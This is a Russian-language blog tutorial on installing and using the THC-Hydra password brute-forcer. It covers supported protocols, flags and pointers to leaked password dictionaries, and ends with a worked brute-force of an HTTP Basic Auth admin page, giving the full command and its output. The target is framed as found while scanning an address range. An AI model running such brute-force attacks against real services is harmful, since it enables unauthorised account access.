Thank you for reading this post, don't forget to subscribe!
универсальный инструмент - THC-Hydra, который имеет поддержку пароля по/для Asterisk
, AFP
, Cisco AAA
, Cisco auth
, Cisco enable
, CVS
, Firebird
, FTP
, HTTP-FORM-GET
, HTTP-FORM-POST
, HTTP-GET
, HTTP-HEAD
, HTTP-PROXY
, HTTPS-FORM-GET
, HTTPS-FORM-POST
, HTTPS-GET
, HTTPS-HEAD
, HTTP-Proxy
, ICQ
, IMAP
, IRC
, LDAP
, MS-SQL
, MYSQL
, NCP
, NNTP
, Oracle Listener
, Oracle SID
, Oracle
, PC-Anywhere
, PCNFS
, POP3
, POSTGRES
, RDP
, Rexec
, Rlogin
, Rsh
, SAP/R3
, SIP
, SMB
, SMTP
, SMTP Enum
, SNMP v1+v2+v3
, SOCKS5
, SSH (v1 and v2)
, SSHKEY
, Subversion
, Teamspeak (TS2)
, Telnet
, VMware-Auth
, VNC
и XMPP
.
Установка
Пакет hydra
содержится в epel-репозитории, поэтому достаточно подключить его и установить.
yum install -y epel-release
yum install -y hydra
|
Или собрать с сорсов для пользователей других ОС:
mkdir ~/hydra_src && cd ~/hydra_src
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip && unzip master.zip && rm -f master.zip
cd thc-hydra-master/
yum install gcc mysql-devel libssh
make clean && ./configure
make && make install
|
Словари
Брутить можно как с помощью подбора посимвольно, так и с помощью подготовленного словаря наиболее часто используемых паролей. Рекомендую первым делом попытаться подобрать пароль со словарем, и уже если и этот способ не увенчался успехом — переходить к прямому бруту посмивольно.
Словари можно поискать здесь или воспользоваться имеющимися.
Готовые списки паролей: top500; top4000; cain&abel (300k); пароли от яндекса (700k); пароли от маил.ру (2740k); маил.ру + яндекс (3300k)
Использование
Рассмотрим флаги запуска:
- -R Восстановить предыдущую сессию, которая по какой-либо причине была прервана
- -S Использовать SSL соединение
- -s PORT Указание порта (отличного от дефолтного) сервиса
- -l LOGIN Использовать указанный логин для попытки аутентификации
- -L FILE Использовать список логинов из указанного файла
- -p PASS Использовать указанный пароль для попытки аутентификации
- -P FILE Использовать список паролей из указанного файла
- -x Генерировать пароли для подбора самостоятельно, указывается в формате -x MIN:MAX:CHARSET, где MIN — это минимальная длинна пароля, MAX — соответственно, максимальная, а CHARSET — это набор символов, в котором a означает латиницу в нижнем регистре, A — в верхнем регистре, 1 — числа, а для указания дополнительных символов — просто укажи их как есть. Вот несколько примеров генерации паролей:
- -x 3:5:a — длинной от 3 до 5 символов, состоящие только из символов латиницы в нижнем регистре;
- -x 5:8:A1 — длинной от 5 до 8 символов, состоящие из символов латиницы в верхнем регистре + цифр;
- -x 1:3:/ — длинной от 1 до 3 символов, состоящие только из символов слеша /;
- -x 5:5:/%,.- — длинной в 5 символов, состоящие только из символов /%,.-;
- -e nsr Укажи n для проверки пустых паролей, s для попытки использования в качестве пароля — логин, и (или) r для попытки входа под перевернутым логином
- -u Пытаться подобрать логин а не пароль
- -C FILE Использовать файл в формате login:pass вместо указания -L/-P
- -M FILE Файл со списком целей для брутфорса (можно с указанием порта через двоеточие), по одному на строку
- -o FILE Записать подобранную пару логин/пароль в файл, вместо того чтоб просто вывести в stdout (будет указан с указанием сервера, к которому подобран — не запутаешься)
- -f / -F Прекратить работу, как только первая пара логин:пароль будет подобрана. -fтолько для текущего хоста, -F — глобально.
- -t TASKS Количество параллельных процессов (читай — потоков). По умолчанию 16
- -w Таймаут для ответа сервера. По умолчанию 32 секунды
- -W Таймаут между ответами сервера
- -4 / -6 Использовать IPv4 (по умолчанию) или IPv6 адреса (при указании с -M всегда заключай в [])
- -v Более подробный вывод информации о процессе
- -V Выводить каждый подбираемый логин + пароль
- -d Режим дебага
- -O Использовать старый SSL v2 и v3
- -q Не выводить сообщения об ошибках подключения
- -U Дополнительная информация о использовании выбранного модуля
- -h Вывод справочной информации
Примеры работы
Basic Authentication
Cканируя диапазон адресов мы попадаем на некоторый интерфейс, доступный по http
протоколу, но закрытый для доступа при помощи Basic Authentication
(пример настройки с помощью nginx).
- IP сервера: 192.168.2.15;
- Сервис: http;
- Путь, который закрыт для нас запросом пары логин/пароль: /admin/;
- Порт, на котором работает http сервер: 80;
Предположим (или любым доступным путем выясним), что логин для авторизации admin
, и нам неизвестен лишь пароль. Подбирать будем с помощью заранее подготовленного словаря и с использованием модуля http-get
:
[root@localhost opt]# hydra -l admin -P /opt/pass.txt -o ./hydra_result.log -f -V -s 80 192.168.2.15 http-get /admin/
Hydra v7.5 ©2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-08 14:37:45
[DATA] 16 tasks, 1 server, 234 login tries (l:1/p:234), ~14 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt1311113" - 1 of 234 [child 0]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt19391936" - 2 of 234 [child 1]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt2006pp" - 3 of 234 [child 2]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt21l16" - 4 of 234 [child 3]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt5390" - 5 of 234 [child 4]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt911pvpsw2" - 6 of 234 [child 5]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "sltanya" - 7 of 234 [child 6]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "admin" - 8 of 234 [child 7]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "password" - 9 of 234 [child 8]
…
[80][www] host: 192.168.2.15 login: admin password: password
[STATUS] attack finished for 192.168.2.15 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
|